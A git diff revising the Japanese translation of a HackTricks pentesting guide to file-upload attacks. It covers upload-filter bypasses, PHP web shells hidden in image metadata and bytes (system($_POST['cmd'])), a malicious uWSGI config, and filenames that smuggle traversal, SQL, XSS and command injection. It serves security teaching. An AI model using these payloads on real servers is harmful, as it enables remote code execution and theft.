Translated ['pentesting-web/file-upload/README.md'] to jp

This commit is contained in:
Translator 2024-07-20 10:52:04 +00:00
parent b22328e5d6
commit 343b6d8f29

View file

@ -9,8 +9,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
@ -21,12 +21,12 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## ファイルアップロード一般的手法 ## ファイルアップロード一般的な方法論
他の有用な拡張子: 他の有用な拡張子:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ * **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -64,7 +64,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* _file.php%00.png%00.jpg_ * _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って構成されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます 6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って構成されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます
* _例: file.php.png_ * _例: file.php.png_
7. **Windows**での**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可されたものの前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。短いファイル名を使用することができます。「**::$data**パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」) 7. **Windows**での**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可されたものの前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。**::$data**パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php 8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
``` ```
@ -78,31 +78,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png AAA<--SNIP 232 A-->AAA.php.png
``` ```
### Content-Type、マジックナンバー、圧縮リサイズのバイパス ### Content-Type、マジックナンバー、圧縮およびリサイズのバイパス
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_ , _text/plain , application/octet-stream_ * **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_ , _text/plain , application/octet-stream_
1. Content-Type **ワードリスト**[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) 1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\ * **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または、画像内にペイロードを**直接挿入**することもできます:\ `\` または、画像内にペイロードを**直接挿入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準PHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 * **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準PHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 * ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。 * 画像のリサイズを**生き残る**ペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### その他のチェックするトリック ### その他のチェックするトリック
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。 * すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
* バックドアを実行するための**ローカルファイルインクルージョン**脆弱性を見つけます。 * **ローカルファイルインクルージョン**脆弱性を見つけてバックドアを実行します。
* **情報漏洩の可能性** * **情報漏洩の可能性**
1. **同じファイル**を**同時に**何度もアップロードします。 1. **同じファイル**を**同時に**何度もアップロードします。
2. **既存のファイル**または**フォルダー**の**名前**でファイルをアップロードします。 2. **既存のファイル**または**フォルダー**の**名前**でファイルをアップロードします。
3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。 3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイル(例:「…:.jpg」をアップロードします。Windows 4. **NTFS**で簡単に削除できないファイルをアップロードします(例:**「…:.jpg」**)。(Windows)
5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。Windows 5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9を持つファイルを**Windows**にアップロードします。 6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9を持つファイルを**Windows**にアップロードします。
* **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することも試みてください。 * **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することも試みてください。
@ -123,9 +123,9 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
## **uWSGI RCE** ## **uWSGI RCE**
この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。 リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、`@(filename)`として使用される`@`演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です: 以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
```ini ```ini
@ -152,7 +152,7 @@ uWSGIの設定ファイル解析の緩い性質を理解することが重要で
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\ 場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**変更**します。 **linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**名前変更**します。
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -183,7 +183,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## ファイルアップロードから他の脆弱性へ ## ファイルアップロードから他の脆弱性へ
* **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる * **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
* **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません * **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません
* **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する * **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する
* **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md) * **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md)
@ -195,9 +195,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。 * **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
* [**XXEとCORS**バイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md) * [**XXEとCORS**バイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
* 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。 * 特別に作成されたPDFでXSS: [以下のページは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策**があるかどうかを確認しま * \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策**があるかどうかを確認す
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認しま * ファイルをアップロードする際に**サイズ制限**があるかどうかを確認す
以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889) 以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
@ -209,7 +209,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
6. **AVI**: LFI / SSRF 6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト 7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS) 8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
9. **ZIP**: LFIを介したRCE / DoS 9. **ZIP**: LFI経由のRCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE 10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp拡張 #### Burp拡張